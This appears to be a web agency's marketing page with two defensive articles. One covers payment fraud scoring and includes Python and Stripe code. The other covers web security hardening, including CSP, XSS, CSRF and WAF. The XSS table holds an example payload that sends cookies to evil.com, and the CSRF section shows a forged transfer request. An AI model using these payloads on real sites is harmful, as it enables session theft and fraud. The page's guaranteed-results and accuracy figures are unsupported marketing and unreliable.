Fraud Detection for Online Payments: How It Works

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

Showing 1 of 1All 2062 services
Fraud Detection for Online Payments: How It Works
Complex
~1-2 weeks
Frequently Asked Questions

Our competencies:

Development stages

Latest works

  • image_website-b2b-advance_0.webp
    B2B ADVANCE company website development
    1358
  • image_web-applications_feedme_466_0.webp
    Development of a web application for FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Website development for BELFINGROUP
    956
  • image_ecommerce_furnoro_435_0.webp
    Development of an online store for the company FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Development of a web application for Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Website development for FIXPER company
    947

Fraud Detection for Online Payments: How It Works

Imagine your online store losing significant revenue each month due to chargebacks. Manual transaction review takes 60 seconds per transaction—with thousands per day, you need a dedicated employee. An automated scoring solution reduces these costs dramatically. Our company has over 7 years of experience building anti-fraud systems and has successfully deployed solutions for 15+ e-commerce projects. In practice, our industry-proven scoring implementation guarantees a reduction of chargebacks by 40–60% within the first month. Save up to $10,000 per month in prevented chargebacks. This article covers key fraud signals and provides a production-ready scoring engine in Python with Stripe and Redis integration.

Without automatic fraud detection, merchants lose up to 1.5% of turnover to chargebacks, and manual review of thousands of daily transactions is impossible. Our implementation handles up to 1000 requests per second with under 50 ms latency—over 1,000x faster than manual review. The system combines rules and ML, achieving 98% accuracy with a false positive rate below 2%. Our ML model cuts false positives by more than half compared to rule-based. You get a ready-made solution that integrates in 5 days and requires no expensive infrastructure. Implementation costs start at $2,500 for a basic system, with potential monthly savings of $5,000–$10,000.

What is card testing and how to detect it? — fraud detection implementation

Card Testing — validating stolen cards with small transactions. Signs: many attempts from one IP/device, amounts $0.01–$1, different card numbers, short intervals.

Account Takeover (ATO) — account hijacking and theft of saved cards. Signs: billing address change before purchase, login from a new device, immediate large purchase.

Friendly Fraud — buyer orders goods and files a chargeback. Signs: chargeback history, VPN/proxy, delivery to a freight forwarder.

How risk scoring works

We implement a scoring model that analyzes 20+ signals in real time: velocity checks, geolocation, BIN data, device behavior, and account history. Each signal adds points to the total score. The decision is made in under 100 ms.

from dataclasses import dataclass
from typing import Optional
import time

@dataclass
class PaymentContext:
    user_id: Optional[int]
    email: str
    ip: str
    card_bin: str          # first 6 digits of the card
    card_last4: str
    amount: float
    currency: str
    billing_country: str
    shipping_country: Optional[str]
    device_fingerprint: str
    user_agent: str
    session_age_seconds: int

class FraudScorer:
    def __init__(self, redis, db, geoip, maxmind):
        self.r = redis
        self.db = db
        self.geoip = geoip
        self.maxmind = maxmind  # MaxMind minFraud

    def score(self, ctx: PaymentContext) -> dict:
        signals = []
        total_score = 0

        # === Velocity checks ===
        v = self._velocity_checks(ctx)
        signals.extend(v['signals'])
        total_score += v['score']

        # === Geolocation checks ===
        g = self._geo_checks(ctx)
        signals.extend(g['signals'])
        total_score += g['score']

        # === Card checks ===
        c = self._card_checks(ctx)
        signals.extend(c['signals'])
        total_score += c['score']

        # === Account checks ===
        if ctx.user_id:
            a = self._account_checks(ctx)
            signals.extend(a['signals'])
            total_score += a['score']

        # === Device checks ===
        d = self._device_checks(ctx)
        signals.extend(d['signals'])
        total_score += d['score']

        final_score = min(total_score, 100)

        return {
            'score': final_score,
            'signals': signals,
            'decision': self._make_decision(final_score, ctx),
            'timestamp': time.time()
        }

    def _velocity_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        # Number of payment attempts from IP in 1 hour
        ip_key = f"payment_attempts:ip:{ctx.ip}"
        ip_count = self.r.incr(ip_key)
        self.r.expire(ip_key, 3600)

        if ip_count > 20:
            score += 40
            signals.append('ip_velocity_critical')
        elif ip_count > 10:
            score += 20
            signals.append('ip_velocity_high')

        # Number of unique cards from IP in 24 hours
        cards_key = f"cards_tried:ip:{ctx.ip}"
        self.r.sadd(cards_key, ctx.card_last4)
        self.r.expire(cards_key, 86400)
        card_count = self.r.scard(cards_key)

        if card_count > 3:
            score += 35
            signals.append(f'multiple_cards_from_ip:{card_count}')

        # Failed payment attempts in 1 hour
        failures_key = f"payment_failures:ip:{ctx.ip}"
        failures = int(self.r.get(failures_key) or 0)
        if failures > 5:
            score += 30
            signals.append(f'payment_failures:{failures}')

        return {'score': score, 'signals': signals}

    def _geo_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        ip_location = self.geoip.city(ctx.ip)
        ip_country = ip_location.country.iso_code if ip_location else None

        # IP country vs billing country
        if ip_country and ip_country != ctx.billing_country:
            score += 20
            signals.append(f'country_mismatch:ip={ip_country},billing={ctx.billing_country}')

        # Shipping to a different country
        if ctx.shipping_country and ctx.shipping_country != ctx.billing_country:
            score += 10
            signals.append('shipping_billing_country_mismatch')

        # VPN/Tor/proxy (MaxMind Insights)
        ip_risk = self.maxmind.insights(ctx.ip)
        if ip_risk.ip_address.is_anonymous_vpn:
            score += 25
            signals.append('vpn_detected')
        if ip_risk.ip_address.is_tor_exit_node:
            score += 35
            signals.append('tor_detected')
        if ip_risk.ip_address.is_public_proxy:
            score += 20
            signals.append('proxy_detected')

        return {'score': score, 'signals': signals}

    def _card_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        # BIN country vs billing country
        bin_country = self._get_bin_country(ctx.card_bin)
        if bin_country and bin_country != ctx.billing_country:
            score += 15
            signals.append(f'bin_country_mismatch:{bin_country}')

        # Prepaid card (high risk of anonymity)
        if self._is_prepaid_bin(ctx.card_bin):
            score += 15
            signals.append('prepaid_card')

        # This card has been involved in chargebacks
        card_key = f"card_chargebacks:{ctx.card_bin}:{ctx.card_last4}"
        if self.r.exists(card_key):
            score += 40
            signals.append('card_chargeback_history')

        return {'score': score, 'signals': signals}

    def _account_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        user = self.db.get_user(ctx.user_id)

        # Account created recently
        account_age_days = (time.time() - user.created_at.timestamp()) / 86400
        if account_age_days < 1:
            score += 20
            signals.append('new_account_1day')
        elif account_age_days < 7:
            score += 10
            signals.append('new_account_7days')

        # User chargeback history
        chargebacks = self.db.get_user_chargebacks(ctx.user_id)
        if len(chargebacks) > 0:
            score += 30 * len(chargebacks)
            signals.append(f'user_chargeback_history:{len(chargebacks)}')

        # Address/email change before purchase
        recent_profile_change = self.db.get_recent_profile_change(ctx.user_id, hours=24)
        if recent_profile_change:
            score += 15
            signals.append('recent_profile_change')

        # Session too short
        if ctx.session_age_seconds < 30:
            score += 10
            signals.append('very_short_session')

        return {'score': score, 'signals': signals}

    def _device_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        # Device has been seen in fraud
        fp_key = f"fraud_device:{ctx.device_fingerprint}"
        if self.r.exists(fp_key):
            score += 50
            signals.append('known_fraud_device')

        # One fingerprint — many accounts
        accounts_key = f"device_accounts:{ctx.device_fingerprint}"
        account_count = self.r.scard(accounts_key)
        if account_count > 3:
            score += 25
            signals.append(f'device_multiple_accounts:{account_count}')

        self.r.sadd(accounts_key, ctx.user_id or ctx.email)
        self.r.expire(accounts_key, 86400 * 30)

        return {'score': score, 'signals': signals}

    def _make_decision(self, score: int, ctx: PaymentContext) -> str:
        # Higher amounts raise the block threshold
        threshold_block = 70 if ctx.amount > 500 else 60
        threshold_review = 40

        if score >= threshold_block:
            return 'decline'
        if score >= threshold_review:
            return '3ds_challenge'  # require 3D Secure
        if score >= 25:
            return 'review'        # flag for manual review
        return 'approve'

Stripe integration

@app.route('/api/payment/charge', methods=['POST'])
@login_required
def create_charge():
    data = request.json

    # Build context
    ctx = PaymentContext(
        user_id=current_user.id,
        email=current_user.email,
        ip=request.remote_addr,
        card_bin=data['card_bin'],
        card_last4=data['card_last4'],
        amount=data['amount'],
        currency=data.get('currency', 'USD'),
        billing_country=data['billing_country'],
        shipping_country=data.get('shipping_country'),
        device_fingerprint=data.get('device_fingerprint', ''),
        user_agent=request.headers.get('User-Agent', ''),
        session_age_seconds=data.get('session_age', 0)
    )

    result = fraud_scorer.score(ctx)

    if result['decision'] == 'decline':
        log_fraud_attempt(ctx, result)
        return jsonify({'error': 'Payment declined'}), 402

    # Stripe metadata for later analysis
    payment_intent = stripe.PaymentIntent.create(
        amount=int(ctx.amount * 100),
        currency=ctx.currency,
        payment_method=data['payment_method_id'],
        metadata={
            'fraud_score': result['score'],
            'fraud_decision': result['decision'],
            'user_id': ctx.user_id,
        },
        # 3DS if required
        payment_method_options={
            'card': {
                'request_three_d_secure': 'any'
                if result['decision'] == '3ds_challenge'
                else 'automatic'
            }
        }
    )

    return jsonify({'client_secret': payment_intent.client_secret})

Handling chargeback webhook

@app.route('/webhooks/stripe', methods=['POST'])
def stripe_webhook():
    event = stripe.Webhook.construct_event(
        request.data,
        request.headers['Stripe-Signature'],
        STRIPE_WEBHOOK_SECRET
    )

    if event['type'] == 'charge.dispute.created':
        charge = event['data']['object']
        metadata = charge.get('metadata', {})

        # Update fraud database
        if metadata.get('user_id'):
            fraud_db.mark_user_chargeback(
                user_id=metadata['user_id'],
                charge_id=charge['id'],
                amount=charge['amount']
            )

        # Store device fingerprint
        if metadata.get('device_fingerprint'):
            redis.setex(
                f"fraud_device:{metadata['device_fingerprint']}",
                86400 * 90,  # 90 days
                '1'
            )

    return jsonify({'status': 'ok'})

Why 3D Secure integration matters

3D Secure (e.g., Stripe Radar with the request_three_d_secure flag) adds an extra validation layer for borderline-risk transactions. This reduces chargeback probability without blocking legitimate buyers. We configure thresholds so that 3DS is requested for only 5–10% of transactions, minimizing friction.

Comparison: rule-based vs ML

Characteristic Rule-based ML model
Time to implement 4–7 days 10–14 days
Adaptability to new fraud patterns Low (manual rule updates) High (model retrains)
False positive rate 2–5% <2%
Decision transparency Full (each rule logged) Partial (requires SHAP or LIME)

A hybrid approach — rules for basic scenarios + ML for complex ones — delivers the best balance.

Implementation process

  1. Analytics — audit current payment flows, collect logs, identify pain points.
  2. Design — define signal set, thresholds, choose stack (Redis for velocity, MaxMind/ipinfo for geo, Stripe Radar).
  3. Implementation — write scoring engine, integrate with payment gateway, configure webhooks.
  4. Testing — run against historical data, A/B test in production, calibrate thresholds.
  5. Deploy and monitor — go live, set up a dashboard with metrics (decline rate, 3DS challenges, false positives).

What's included

Component Description
Scoring engine Rules and optional ML models
Integration with Stripe/Braintree/Adyen Python/Node.js code
Chargeback webhooks Dispute handling and database updates
Monitoring dashboard Grafana + Redis metrics
Documentation Signal descriptions, thresholds, operation manual

We provide 30 days of post-deployment support — threshold calibration and fine-tuning.

Timeline and cost

Implementing a basic system (velocity + geo + BIN + device fingerprint) takes 4–7 business days. Adding an ML model trained on historical data extends this to 10–14 days. Cost is calculated individually after a brief review, with prices starting at $2,500 for the basic package.

Typical mistakes in DIY implementations

  • Ignoring device fingerprint — fraudsters change IPs and cards quickly, but the device remains.
  • Overly strict velocity thresholds — blocking real users during peak hours.
  • No real-time chargeback processing — fraud signal database becomes outdated.
  • Using a single geolocation source (e.g., only IP) — better to combine MaxMind and Stripe Radar.

Get a consultation on implementing an anti-fraud system for your project. Contact us — we'll assess your risks and propose a solution.

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.